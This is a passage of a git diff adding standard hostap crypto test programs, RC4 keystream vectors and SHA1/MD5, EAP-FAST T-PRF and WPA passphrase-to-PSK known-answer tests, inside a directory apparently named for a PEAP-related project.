"\xaf\xec\xc0\x37\xfd\xb7\xb0\x83\x8e\xb3\xd7\x0b\xcd\x26\x83\x82\xdb\xc1\xa7\xb4\x9d\x57\x35\x8c\xc9\xfa\x6d\x61\xd7\x3b\x7c\xf0", + (u8 *) "\x63\x49\xd1\x26\xa3\x7a\xfc\xba\x89\x79\x4f\x98\x04\x91\x4f\xdc\xbf\x42\xc3\x01\x8c\x2f\x7c\x66\xbf\xde\x52\x49\x75\x76\x81\x15" + }, + { + 7, (u8 *) "\x19\x10\x83\x32\x22\x77\x2a", + (u8 *) "\xbc\x92\x22\xdb\xd3\x27\x4d\x8f\xc6\x6d\x14\xcc\xbd\xa6\x69\x0b\x7a\xe6\x27\x41\x0c\x9a\x2b\xe6\x93\xdf\x5b\xb7\x48\x5a\x63\xe3", + (u8 *) "\x3f\x09\x31\xaa\x03\xde\xfb\x30\x0f\x06\x01\x03\x82\x6f\x2a\x64\xbe\xaa\x9e\xc8\xd5\x9b\xb6\x81\x29\xf3\x02\x7c\x96\x36\x11\x81", + (u8 *) "\x74\xe0\x4d\xb4\x6d\x28\x64\x8d\x7d\xee\x8a\x00\x64\xb0\x6c\xfe\x9b\x5e\x81\xc6\x2f\xe0\x23\xc5\x5b\xe4\x2f\x87\xbb\xf9\x32\xb8", + (u8 *) "\xce\x17\x8f\xc1\x82\x6e\xfe\xcb\xc1\x82\xf5\x79\x99\xa4\x61\x40\x8b\xdf\x55\xcd\x55\x06\x1c\x06\xdb\xa6\xbe\x11\xde\x4a\x57\x8a", + (u8 *) "\x62\x6f\x5f\x4d\xce\x65\x25\x01\xf3\x08\x7d\x39\xc9\x2c\xc3\x49\x42\xda\xac\x6a\x8f\x9a\xb9\xa7\xfd\x13\x7c\x60\x37\x82\x56\x82", + (u8 *) "\xcc\x03\xfd\xb7\x91\x92\xa2\x07\x31\x2f\x53\xf5\xd4\xdc\x33\xd9\xf7\x0f\x14\x12\x2a\x1c\x98\xa3\x15\x5d\x28\xb8\xa0\xa8\xa4\x1d", + (u8 *) "\x2a\x3a\x30\x7a\xb2\x70\x8a\x9c\x00\xfe\x0b\x42\xf9\xc2\xd6\xa1\x86\x26\x17\x62\x7d\x22\x61\xea\xb0\xb1\x24\x65\x97\xca\x0a\xe9", + (u8 *) "\x55\xf8\x77\xce\x4f\x2e\x1d\xdb\xbf\x8e\x13\xe2\xcd\xe0\xfd\xc8\x1b\x15\x56\xcb\x93\x5f\x17\x33\x37\x70\x5f\xbb\x5d\x50\x1f\xc1", + (u8 *) "\xec\xd0\xe9\x66\x02\xbe\x7f\x8d\x50\x92\x81\x6c\xcc\xf2\xc2\xe9\x02\x78\x81\xfa\xb4\x99\x3a\x1c\x26\x20\x24\xa9\x4f\xff\x3f\x61" + }, + { + 8, (u8 *) "\x64\x19\x10\x83\x32\x22\x77\x2a", + (u8 *) "\xbb\xf6\x09\xde\x94\x13\x17\x2d\x07\x66\x0c\xb6\x80\x71\x69\x26\x46\x10\x1a\x6d\xab\x43\x11\x5d\x6c\x52\x2b\x4f\xe9\x36\x04\xa9", + (u8 *) "\xcb\xe1\xff\xf2\x1c\x96\xf3\xee\xf6\x1e\x8f\xe0\x54\x2c\xbd\xf0\x34\x79\x38\xbf\xfa\x40\x09\xc5\x12\xcf\xb4\x03\x4b\x0d\xd1\xa7", + (u8 *) "\x78\x67\xa7\x86\xd0\x0a\x71\x47\x90\x4d\x76\xdd\xf1\xe5\x20\xe3\x8d\x3e\x9e\x1c\xae\xfc\xcc\xb3\xfb\xf8\xd1\x8f\x64\x12\x0b\x32", + (u8 *) "\x94\x23\x37\xf8\xfd\x76\xf0\xfa\xe8\xc5\x2d\x79\x54\x81\x06\x72\xb8\x54\x8c\x10\xf5\x16\x67\xf6\xe6\x0e\x18\x2f\xa1\x9b\x30\xf7", + (u8 *) "\x02\x11\xc7\xc6\x19\x0c\x9e\xfd\x12\x37\xc3\x4c\x8f\x2e\x06\xc4\xbd\xa6\x4f\x65\x27\x6d\x2a\xac\xb8\xf9\x02\x12\x20\x3a\x80\x8e", + (u8 *) "\xbd\x38\x20\xf7\x32\xff\xb5\x3e\xc1\x93\xe7\x9d\x33\xe2\x7c\x73\xd0\x16\x86\x16\x86\x19\x07\xd4\x82\xe3\x6c\xda\xc8\xcf\x57\x49", + (u8 *) "\x97\xb0\xf0\xf2\x24\xb2\xd2\x31\x71\x14\x80\x8f\xb0\x3a\xf7\xa0\xe5\x96\x16\xe4\x69\x78\x79\x39\xa0\x63\xce\xea\x9a\xf9\x56\xd1", + (u8 *) "\xc4\x7e\x0d\xc1\x66\x09\x19\xc1\x11\x01\x20\x8f\x9e\x69\xaa\x1f\x5a\xe4\xf1\x28\x96\xb8\x37\x9a\x2a\xad\x89\xb5\xb5\x53\xd6\xb0", + (u8 *) "\x6b\x6b\x09\x8d\x0c\x29\x3b\xc2\x99\x3d\x80\xbf\x05\x18\xb6\xd9\x81\x70\xcc\x3c\xcd\x92\xa6\x98\x62\x1b\x93\x9d\xd3\x8f\xe7\xb9" + }, + { + 10, (u8 *) "\x8b\x37\x64\x19\x10\x83\x32\x22\x77\x2a", + (u8 *) "\xab\x65\xc2\x6e\xdd\xb2\x87\x60\x0d\xb2\xfd\xa1\x0d\x1e\x60\x5c\xbb\x75\x90\x10\xc2\x96\x58\xf2\xc7\x2d\x93\xa2\xd1\x6d\x29\x30", + (u8 *) "\xb9\x01\xe8\x03\x6e\xd1\xc3\x83\xcd\x3c\x4c\x4d\xd0\xa6\xab\x05\x3d\x25\xce\x49\x22\x92\x4c\x55\xf0\x64\x94\x33\x53\xd7\x8a\x6c", + (u8 *) "\x12\xc1\xaa\x44\xbb\xf8\x7e\x75\xe6\x11\xf6\x9b\x2c\x38\xf4\x9b\x28\xf2\xb3\x43\x4b\x65\xc0\x98\x77\x47\x00\x44\xc6\xea\x17\x0d", + (u8 *) "\xbd\x9e\xf8\x22\xde\x52\x88\x19\x61\x34\xcf\x8a\xf7\x83\x93\x04\x67\x55\x9c\x23\xf0\x52\x15\x84\x70\xa2\x96\xf7\x25\x73\x5a\x32", + (u8 *) "\x8b\xab\x26\xfb\xc2\xc1\x2b\x0f\x13\xe2\xab\x18\x5e\xab\xf2\x41\x31\x18\x5a\x6d\x69\x6f\x0c\xfa\x9b\x42\x80\x8b\x38\xe1\x32\xa2", + (u8 *) "\x56\x4d\x3d\xae\x18\x3c\x52\x34\xc8\xaf\x1e\x51\x06\x1c\x44\xb5\x3c\x07\x78\xa7\xb5\xf7\x2d\x3c\x23\xa3\x13\x5c\x7d\x67\xb9\xf4", + (u8 *) "\xf3\x43\x69\x89\x0f\xcf\x16\xfb\x51\x7d\xca\xae\x44\x63\xb2\xdd\x02\xf3\x1c\x81\xe8\x20\x07\x31\xb8\x99\xb0\x28\xe7\x91\xbf\xa7", + (u8 *) "\x72\xda\x64\x62\x83\x22\x8c\x14\x30\x08\x53\x70\x17\x95\x61\x6f\x4e\x0a\x8c\x6f\x79\x34\xa7\x88\xe2\x26\x5e\x81\xd6\xd0\xc8\xf4", + (u8 *) "\x43\x8d\xd5\xea\xfe\xa0\x11\x1b\x6f\x36\xb4\xb9\x38\xda\x2a\x68\x5f\x6b\xfc\x73\x81\x58\x74\xd9\x71\x00\xf0\x86\x97\x93\x57\xd8" + }, + { + 16, (u8 *) "\xeb\xb4\x62\x27\xc6\xcc\x8b\x37\x64\x19\x10\x83\x32\x22\x77\x2a", + (u8 *) "\x72\x0c\x94\xb6\x3e\xdf\x44\xe1\x31\xd9\x50\xca\x21\x1a\x5a\x30\xc3\x66\xfd\xea\xcf\x9c\xa8\x04\x36\xbe\x7c\x35\x84\x24\xd2\x0b", + (u8 *) "\xb3\x39\x4a\x40\xaa\xbf\x75\xcb\xa4\x22\x82\xef\x25\xa0\x05\x9f\x48\x47\xd8\x1d\xa4\x94\x2d\xbc\x24\x9d\xef\xc4\x8c\x92\x2b\x9f", + (u8 *) "\x08\x12\x8c\x46\x9f\x27\x53\x42\xad\xda\x20\x2b\x2b\x58\xda\x95\x97\x0d\xac\xef\x40\xad\x98\x72\x3b\xac\x5d\x69\x55\xb8\x17\x61", + (u8 *) "\x3c\xb8\x99\x93\xb0\x7b\x0c\xed\x93\xde\x13\xd2\xa1\x10\x13\xac\xef\x2d\x67\x6f\x15\x45\xc2\xc1\x3d\xc6\x80\xa0\x2f\x4a\xdb\xfe", + (u8 *) "\xb6\x05\x95\x51\x4f\x24\xbc\x9f\xe5\x22\xa6\xca\xd7\x39\x36\x44\xb5\x15\xa8\xc5\x01\x17\x54\xf5\x90\x03\x05\x8b\xdb\x81\x51\x4e", + (u8 *) "\x3c\x70\x04\x7e\x8c\xbc\x03\x8e\x3b\x98\x20\xdb\x60\x1d\xa4\x95\x11\x75\xda\x6e\xe7\x56\xde\x46\xa5\x3e\x2b\x07\x56\x60\xb7\x70", + (u8 *) "\x00\xa5\x42\xbb\xa0\x21\x11\xcc\x2c\x65\xb3\x8e\xbd\xba\x58\x7e\x58\x65\xfd\xbb\x5b\x48\x06\x41\x04\xe8\x30\xb3\x80\xf2\xae\xde", + (u8 *) "\x34\xb2\x1a\xd2\xad\x44\xe9\x99\xdb\x2d\x7f\x08\x63\xf0\xd9\xb6\x84\xa9\x21\x8f\xc3\x6e\x8a\x5f\x2c\xcf\xbe\xae\x53\xa2\x7d\x25", + (u8 *) "\xa2\x22\x1a\x11\xb8\x33\xcc\xb4\x98\xa5\x95\x40\xf0\x54\x5f\x4a\x5b\xbe\xb4\x78\x7d\x59\xe5\x37\x3f\xdb\xea\x6c\x6f\x75\xc2\x9b" + }, + { + 24, (u8 *) "\xc1\x09\x16\x39\x08\xeb\xe5\x1d\xeb\xb4\x62\x27\xc6\xcc\x8b\x37\x64\x19\x10\x83\x32\x22\x77\x2a", + (u8 *) "\x54\xb6\x4e\x6b\x5a\x20\xb5\xe2\xec\x84\x59\x3d\xc7\x98\x9d\xa7\xc1\x35\xee\xe2\x37\xa8\x54\x65\xff\x97\xdc\x03\x92\x4f\x45\xce", + (u8 *) "\xcf\xcc\x92\x2f\xb4\xa1\x4a\xb4\x5d\x61\x75\xaa\xbb\xf2\xd2\x01\x83\x7b\x87\xe2\xa4\x46\xad\x0e\xf7\x98\xac\xd0\x2b\x94\x12\x4f", + (u8 *) "\x17\xa6\xdb\xd6\x64\x92\x6a\x06\x36\xb3\xf4\xc3\x7a\x4f\x46\x94\x4a\x5f\x9f\x26\xae\xee\xd4\xd4\xa2\x5f\x63\x2d\x30\x52\x33\xd9", + (u8 *) "\x80\xa3\xd0\x1e\xf0\x0c\x8e\x9a\x42\x09\xc1\x7f\x4e\xeb\x35\x8c\xd1\x5e\x7d\x5f\xfa\xaa\xbc\x02\x07\xbf\x20\x0a\x11\x77\x93\xa2", + (u8 *) "\x34\x96\x82\xbf\x58\x8e\xaa\x52\xd0\xaa\x15\x60\x34\x6a\xea\xfa\xf5\x85\x4c\xdb\x76\xc8\x89\xe3\xad\x63\x35\x4e\x5f\x72\x75\xe3", + (u8 *) "\x53\x2c\x7c\xec\xcb\x39\xdf\x32\x36\x31\x84\x05\xa4\xb1\x27\x9c\xba\xef\xe6\xd9\xce\xb6\x51\x84\x22\x60\xe0\xd1\xe0\x5e\x3b\x90", + (u8 *) "\xe8\x2d\x8c\x6d\xb5\x4e\x3c\x63\x3f\x58\x1c\x95\x2b\xa0\x42\x07\x4b\x16\xe5\x0a\xbd\x38\x1b\xd7\x09\x00\xa9\xcd\x9a\x62\xcb\x23", + (u8 *) "\x36\x82\xee\x33\xbd\x14\x8b\xd9\xf5\x86\x56\xcd\x8f\x30\xd9\xfb\x1e\x5a\x0b\x84\x75\x04\x5d\x9b\x20\xb2\x62\x86\x24\xed\xfd\x9e", + (u8 *) "\x63\xed\xd6\x84\xfb\x82\x62\x82\xfe\x52\x8f\x9c\x0e\x92\x37\xbc\xe4\xdd\x2e\x98\xd6\x96\x0f\xae\x0b\x43\x54\x54\x56\x74\x33\x91" + }, + { + 32, (u8 *) "\x1a\xda\x31\xd5\xcf\x68\x82\x21\xc1\x09\x16\x39\x08\xeb\xe5\x1d\xeb\xb4\x62\x27\xc6\xcc\x8b\x37\x64\x19\x10\x83\x32\x22\x77\x2a", + (u8 *) "\xdd\x5b\xcb\x00\x18\xe9\x22\xd4\x94\x75\x9d\x7c\x39\x5d\x02\xd3\xc8\x44\x6f\x8f\x77\xab\xf7\x37\x68\x53\x53\xeb\x89\xa1\xc9\xeb", + (u8 *) "\xaf\x3e\x30\xf9\xc0\x95\x04\x59\x38\x15\x15\x75\xc3\xfb\x90\x98\xf8\xcb\x62\x74\xdb\x99\xb8\x0b\x1d\x20\x12\xa9\x8e\xd4\x8f\x0e", + (u8 *) "\x25\xc3\x00\x5a\x1c\xb8\x5d\xe0\x76\x25\x98\x39\xab\x71\x98\xab\x9d\xcb\xc1\x83\xe8\xcb\x99\x4b\x72\x7b\x75\xbe\x31\x80\x76\x9c", + (u8 *) "\xa1\xd3\x07\x8d\xfa\x91\x69\x50\x3e\xd9\xd4\x49\x1d\xee\x4e\xb2\x85\x14\xa5\x49\x58\x58\x09\x6f\x59\x6e\x4b\xcd\x66\xb1\x06\x65", + (u8 *) "\x5f\x40\xd5\x9e\xc1\xb0\x3b\x33\x73\x8e\xfa\x60\xb2\x25\x5d\x31\x34\x77\xc7\xf7\x64\xa4\x1b\xac\xef\xf9\x0b\xf1\x4f\x92\xb7\xcc", + (u8 *) "\xac\x4e\x95\x36\x8d\x99\xb9\xeb\x78\xb8\xda\x8f\x81\xff\xa7\x95\x8c\x3c\x13\xf8\xc2\x38\x8b\xb7\x3f\x38\x57\x6e\x65\xb7\xc4\x46", + (u8 *) "\x13\xc4\xb9\xc1\xdf\xb6\x65\x79\xed\xdd\x8a\x28\x0b\x9f\x73\x16\xdd\xd2\x78\x20\x55\x01\x26\x69\x8e\xfa\xad\xc6\x4b\x64\xf6\x6e", + (u8 *) "\xf0\x8f\x2e\x66\xd2\x8e\xd1\x43\xf3\xa2\x37\xcf\x9d\xe7\x35\x59\x9e\xa3\x6c\x52\x55\x31\xb8\x80\xba\x12\x43\x34\xf5\x7b\x0b\x70", + (u8 *) "\xd5\xa3\x9e\x3d\xfc\xc5\x02\x80\xba\xc4\xa6\xb5\xaa\x0d\xca\x7d\x37\x0b\x1c\x1f\xe6\x55\x91\x6d\x97\xfd\x0d\x47\xca\x1d\x72\xb8" + } +}; + +#define NUM_TESTS ARRAY_SIZE(tests) + + +static int run_test(unsigned int i, const u8 *key, size_t key_len, + const u8 *stream, int offset) +{ + u8 res[32]; + os_memset(res, 0, sizeof(res)); + if (rc4_skip(key, key_len, offset, res, sizeof(res)) < 0 || + os_memcmp(res, stream, 32) != 0) { + printf("RC4 test case %d (offset %d) - FAILED!\n", + i + 1, offset); + return 1; + } + return 0; +} + + +int main(int argc, char *argv[]) +{ + int ret = 0; + unsigned int i; + + for (i = 0; i < NUM_TESTS; i++) { + const struct rc4_test_vector *test = &tests[i]; + ret += run_test(i, test->key, test->key_len, + test->stream0, 0); + ret += run_test(i, test->key, test->key_len, + test->stream240, 240); + ret += run_test(i, test->key, test->key_len, + test->stream496, 496); + ret += run_test(i, test->key, test->key_len, + test->stream752, 752); + ret += run_test(i, test->key, test->key_len, + test->stream1008, 1008); + ret += run_test(i, test->key, test->key_len, + test->stream1520, 1520); + ret += run_test(i, test->key, test->key_len, + test->stream2032, 2032); + ret += run_test(i, test->key, test->key_len, + test->stream3056, 3056); + ret += run_test(i, test->key, test->key_len, + test->stream4080, 4080); + } + + if (ret == 0) + printf("All RC4 test cases passed\n"); + + return ret; +} diff --git a/peapwn/mods/hostap/tests/test-sha1.c b/peapwn/mods/hostap/tests/test-sha1.c new file mode 100644 index 000000000..9dcbbe9fb --- /dev/null +++ b/peapwn/mods/hostap/tests/test-sha1.c @@ -0,0 +1,440 @@ +/* + * Test program for SHA1 and MD5 + * Copyright (c) 2003-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/crypto.h" +#include "crypto/md5.h" +#include "crypto/sha1.h" + + +static int test_eap_fast(void) +{ + /* RFC 4851, Appendix B.1 */ + const u8 pac_key[] = { + 0x0B, 0x97, 0x39, 0x0F, 0x37, 0x51, 0x78, 0x09, + 0x81, 0x1E, 0xFD, 0x9C, 0x6E, 0x65, 0x94, 0x2B, + 0x63, 0x2C, 0xE9, 0x53, 0x89, 0x38, 0x08, 0xBA, + 0x36, 0x0B, 0x03, 0x7C, 0xD1, 0x85, 0xE4, 0x14 + }; + const u8 seed[] = { + 0x3F, 0xFB, 0x11, 0xC4, 0x6C, 0xBF, 0xA5, 0x7A, + 0x54, 0x40, 0xDA, 0xE8, 0x22, 0xD3, 0x11, 0xD3, + 0xF7, 0x6D, 0xE4, 0x1D, 0xD9, 0x33, 0xE5, 0x93, + 0x70, 0x97, 0xEB, 0xA9, 0xB3, 0x66, 0xF4, 0x2A, + 0x00, 0x00, 0x00, 0x02, 0x6A, 0x66, 0x43, 0x2A, + 0x8D, 0x14, 0x43, 0x2C, 0xEC, 0x58, 0x2D, 0x2F, + 0xC7, 0x9C, 0x33, 0x64, 0xBA, 0x04, 0xAD, 0x3A, + 0x52, 0x54, 0xD6, 0xA5, 0x79, 0xAD, 0x1E, 0x00 + }; + const u8 master_secret[] = { + 0x4A, 0x1A, 0x51, 0x2C, 0x01, 0x60, 0xBC, 0x02, + 0x3C, 0xCF, 0xBC, 0x83, 0x3F, 0x03, 0xBC, 0x64, + 0x88, 0xC1, 0x31, 0x2F, 0x0B, 0xA9, 0xA2, 0x77, + 0x16, 0xA8, 0xD8, 0xE8, 0xBD, 0xC9, 0xD2, 0x29, + 0x38, 0x4B, 0x7A, 0x85, 0xBE, 0x16, 0x4D, 0x27, + 0x33, 0xD5, 0x24, 0x79, 0x87, 0xB1, 0xC5, 0xA2 + }; + const u8 key_block[] = { + 0x59, 0x59, 0xBE, 0x8E, 0x41, 0x3A, 0x77, 0x74, + 0x8B, 0xB2, 0xE5, 0xD3, 0x60, 0xAC, 0x4D, 0x35, + 0xDF, 0xFB, 0xC8, 0x1E, 0x9C, 0x24, 0x9C, 0x8B, + 0x0E, 0xC3, 0x1D, 0x72, 0xC8, 0x84, 0x9D, 0x57, + 0x48, 0x51, 0x2E, 0x45, 0x97, 0x6C, 0x88, 0x70, + 0xBE, 0x5F, 0x01, 0xD3, 0x64, 0xE7, 0x4C, 0xBB, + 0x11, 0x24, 0xE3, 0x49, 0xE2, 0x3B, 0xCD, 0xEF, + 0x7A, 0xB3, 0x05, 0x39, 0x5D, 0x64, 0x8A, 0x44, + 0x11, 0xB6, 0x69, 0x88, 0x34, 0x2E, 0x8E, 0x29, + 0xD6, 0x4B, 0x7D, 0x72, 0x17, 0x59, 0x28, 0x05, + 0xAF, 0xF9, 0xB7, 0xFF, 0x66, 0x6D, 0xA1, 0x96, + 0x8F, 0x0B, 0x5E, 0x06, 0x46, 0x7A, 0x44, 0x84, + 0x64, 0xC1, 0xC8, 0x0C, 0x96, 0x44, 0x09, 0x98, + 0xFF, 0x92, 0xA8, 0xB4, 0xC6, 0x42, 0x28, 0x71 + }; + const u8 sks[] = { + 0xD6, 0x4B, 0x7D, 0x72, 0x17, 0x59, 0x28, 0x05, + 0xAF, 0xF9, 0xB7, 0xFF, 0x66, 0x6D, 0xA1, 0x96, + 0x8F, 0x0B, 0x5E, 0x06, 0x46, 0x7A, 0x44, 0x84, + 0x64, 0xC1, 0xC8, 0x0C, 0x96, 0x44, 0x09, 0x98, + 0xFF, 0x92, 0xA8, 0xB4, 0xC6, 0x42, 0x28, 0x71 + }; + const u8 isk[] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; + const u8 imck[] = { + 0x16, 0x15, 0x3C, 0x3F, 0x21, 0x55, 0xEF, 0xD9, + 0x7F, 0x34, 0xAE, 0xC8, 0x1A, 0x4E, 0x66, 0x80, + 0x4C, 0xC3, 0x76, 0xF2, 0x8A, 0xA9, 0x6F, 0x96, + 0xC2, 0x54, 0x5F, 0x8C, 0xAB, 0x65, 0x02, 0xE1, + 0x18, 0x40, 0x7B, 0x56, 0xBE, 0xEA, 0xA7, 0xC5, + 0x76, 0x5D, 0x8F, 0x0B, 0xC5, 0x07, 0xC6, 0xB9, + 0x04, 0xD0, 0x69, 0x56, 0x72, 0x8B, 0x6B, 0xB8, + 0x15, 0xEC, 0x57, 0x7B + }; + const u8 msk[] = { + 0x4D, 0x83, 0xA9, 0xBE, 0x6F, 0x8A, 0x74, 0xED, + 0x6A, 0x02, 0x66, 0x0A, 0x63, 0x4D, 0x2C, 0x33, + 0xC2, 0xDA, 0x60, 0x15, 0xC6, 0x37, 0x04, 0x51, + 0x90, 0x38, 0x63, 0xDA, 0x54, 0x3E, 0x14, 0xB9, + 0x27, 0x99, 0x18, 0x1E, 0x07, 0xBF, 0x0F, 0x5A, + 0x5E, 0x3C, 0x32, 0x93, 0x80, 0x8C, 0x6C, 0x49, + 0x67, 0xED, 0x24, 0xFE, 0x45, 0x40, 0xA0, 0x59, + 0x5E, 0x37, 0xC2, 0xE9, 0xD0, 0x5D, 0x0A, 0xE3 + }; + const u8 emsk[] = { + 0x3A, 0xD4, 0xAB, 0xDB, 0x76, 0xB2, 0x7F, 0x3B, + 0xEA, 0x32, 0x2C, 0x2B, 0x74, 0xF4, 0x28, 0x55, + 0xEF, 0x2D, 0xBA, 0x78, 0xC9, 0x57, 0x2F, 0x0D, + 0x06, 0xCD, 0x51, 0x7C, 0x20, 0x93, 0x98, 0xA9, + 0x76, 0xEA, 0x70, 0x21, 0xD7, 0x0E, 0x25, 0x54, + 0x97, 0xED, 0xB2, 0x8A, 0xF6, 0xED, 0xFD, 0x0A, + 0x2A, 0xE7, 0xA1, 0x58, 0x90, 0x10, 0x50, 0x44, + 0xB3, 0x82, 0x85, 0xDB, 0x06, 0x14, 0xD2, 0xF9 + }; + /* RFC 4851, Appendix B.2 */ + u8 tlv[] = { + 0x80, 0x0C, 0x00, 0x38, 0x00, 0x01, 0x01, 0x00, + 0xD8, 0x6A, 0x8C, 0x68, 0x3C, 0x32, 0x31, 0xA8, + 0x56, 0x63, 0xB6, 0x40, 0x21, 0xFE, 0x21, 0x14, + 0x4E, 0xE7, 0x54, 0x20, 0x79, 0x2D, 0x42, 0x62, + 0xC9, 0xBF, 0x53, 0x7F, 0x54, 0xFD, 0xAC, 0x58, + 0x43, 0x24, 0x6E, 0x30, 0x92, 0x17, 0x6D, 0xCF, + 0xE6, 0xE0, 0x69, 0xEB, 0x33, 0x61, 0x6A, 0xCC, + 0x05, 0xC5, 0x5B, 0xB7 + }; + const u8 compound_mac[] = { + 0x43, 0x24, 0x6E, 0x30, 0x92, 0x17, 0x6D, 0xCF, + 0xE6, 0xE0, 0x69, 0xEB, 0x33, 0x61, 0x6A, 0xCC, + 0x05, 0xC5, 0x5B, 0xB7 + }; + u8 buf[512]; + const u8 *simck, *cmk; + int errors = 0; + + printf("EAP-FAST test cases\n"); + + printf("- T-PRF (SHA1) test case / master_secret\n"); + sha1_t_prf(pac_key, sizeof(pac_key), "PAC to master secret label hash", + seed, sizeof(seed), buf, sizeof(master_secret)); + if (memcmp(master_secret, buf, sizeof(master_secret)) != 0) { + printf("T-PRF test - FAILED!\n"); + errors++; + } + + printf("- PRF (TLS, SHA1/MD5) test case / key_block\n"); + if (tls_prf_sha1_md5(master_secret, sizeof(master_secret), + "key expansion", seed, sizeof(seed), + buf, sizeof(key_block)) || + memcmp(key_block, buf, sizeof(key_block)) != 0) { + printf("PRF test - FAILED!\n"); + errors++; + } + + printf("- T-PRF (SHA1) test case / IMCK\n"); + sha1_t_prf(sks, sizeof(sks), "Inner Methods Compound Keys", + isk, sizeof(isk), buf, sizeof(imck)); + if (memcmp(imck, buf, sizeof(imck)) != 0) { + printf("T-PRF test - FAILED!\n"); + errors++; + } + + simck = imck; + cmk = imck + 40; + + printf("- T-PRF (SHA1) test case / MSK\n"); + sha1_t_prf(simck, 40, "Session Key Generating Function", + (u8 *) "", 0, buf, sizeof(msk)); + if (memcmp(msk, buf, sizeof(msk)) != 0) { + printf("T-PRF test - FAILED!\n"); + errors++; + } + + printf("- T-PRF (SHA1) test case / EMSK\n"); + sha1_t_prf(simck, 40, "Extended Session Key Generating Function", + (u8 *) "", 0, buf, sizeof(msk)); + if (memcmp(emsk, buf, sizeof(emsk)) != 0) { + printf("T-PRF test - FAILED!\n"); + errors++; + } + + printf("- Compound MAC test case\n"); + memset(tlv + sizeof(tlv) - 20, 0, 20); + hmac_sha1(cmk, 20, tlv, sizeof(tlv), tlv + sizeof(tlv) - 20); + if (memcmp(tlv + sizeof(tlv) - 20, compound_mac, sizeof(compound_mac)) + != 0) { + printf("Compound MAC test - FAILED!\n"); + errors++; + } + + return errors; +} + + +static u8 key0[] = +{ + 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, + 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, 0x0b, + 0x0b, 0x0b, 0x0b, 0x0b +}; +static u8 data0[] = "Hi There"; +static u8 prf0[] = +{ + 0xbc, 0xd4, 0xc6, 0x50, 0xb3, 0x0b, 0x96, 0x84, + 0x95, 0x18, 0x29, 0xe0, 0xd7, 0x5f, 0x9d, 0x54, + 0xb8, 0x62, 0x17, 0x5e, 0xd9, 0xf0, 0x06, 0x06, + 0xe1, 0x7d, 0x8d, 0xa3, 0x54, 0x02, 0xff, 0xee, + 0x75, 0xdf, 0x78, 0xc3, 0xd3, 0x1e, 0x0f, 0x88, + 0x9f, 0x01, 0x21, 0x20, 0xc0, 0x86, 0x2b, 0xeb, + 0x67, 0x75, 0x3e, 0x74, 0x39, 0xae, 0x24, 0x2e, + 0xdb, 0x83, 0x73, 0x69, 0x83, 0x56, 0xcf, 0x5a +}; + +static u8 key1[] = "Jefe"; +static u8 data1[] = "what do ya want for nothing?"; +static u8 prf1[] = +{ + 0x51, 0xf4, 0xde, 0x5b, 0x33, 0xf2, 0x49, 0xad, + 0xf8, 0x1a, 0xeb, 0x71, 0x3a, 0x3c, 0x20, 0xf4, + 0xfe, 0x63, 0x14, 0x46, 0xfa, 0xbd, 0xfa, 0x58, + 0x24, 0x47, 0x59, 0xae, 0x58, 0xef, 0x90, 0x09, + 0xa9, 0x9a, 0xbf, 0x4e, 0xac, 0x2c, 0xa5, 0xfa, + 0x87, 0xe6, 0x92, 0xc4, 0x40, 0xeb, 0x40, 0x02, + 0x3e, 0x7b, 0xab, 0xb2, 0x06, 0xd6, 0x1d, 0xe7, + 0xb9, 0x2f, 0x41, 0x52, 0x90, 0x92, 0xb8, 0xfc +}; + + +static u8 key2[] = +{ + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, + 0xaa, 0xaa, 0xaa, 0xaa +}; +static u8 data2[] = +{ + 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, + 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, + 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, + 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, + 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, + 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, 0xdd, + 0xdd, 0xdd +}; +static u8 prf2[] = +{ + 0xe1, 0xac, 0x54, 0x6e, 0xc4, 0xcb, 0x63, 0x6f, + 0x99, 0x76, 0x48, 0x7b, 0xe5, 0xc8, 0x6b, 0xe1, + 0x7a, 0x02, 0x52, 0xca, 0x5d, 0x8d, 0x8d, 0xf1, + 0x2c, 0xfb, 0x04, 0x73, 0x52, 0x52, 0x49, 0xce, + 0x9d, 0xd8, 0xd1, 0x77, 0xea, 0xd7, 0x10, 0xbc, + 0x9b, 0x59, 0x05, 0x47, 0x23, 0x91, 0x07, 0xae, + 0xf7, 0xb4, 0xab, 0xd4, 0x3d, 0x87, 0xf0, 0xa6, + 0x8f, 0x1c, 0xbd, 0x9e, 0x2b, 0x6f, 0x76, 0x07 +}; + + +struct passphrase_test { + char *passphrase; + char *ssid; + char psk[32]; +}; + +static struct passphrase_test passphrase_tests[] = +{ + { + "password", + "IEEE", + { + 0xf4, 0x2c, 0x6f, 0xc5, 0x2d, 0xf0, 0xeb, 0xef, + 0x9e, 0xbb, 0x4b, 0x90, 0xb3, 0x8a, 0x5f, 0x90, + 0x2e, 0x83, 0xfe, 0x1b, 0x13, 0x5a, 0x70, 0xe2, + 0x3a, 0xed, 0x76, 0x2e, 0x97, 0x10, 0xa1, 0x2e + } + }, + { + "ThisIsAPassword", + "ThisIsASSID", + { + 0x0d, 0xc0, 0xd6, 0xeb, 0x90, 0x55, 0x5e, 0xd6, + 0x41, 0x97, 0x56, 0xb9, 0xa1, 0x5e, 0xc3, 0xe3, + 0x20, 0x9b, 0x63, 0xdf, 0x70, 0x7d, 0xd5, 0x08, + 0xd1, 0x45, 0x81, 0xf8, 0x98, 0x27, 0x21, 0xaf + } + }, + { + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + 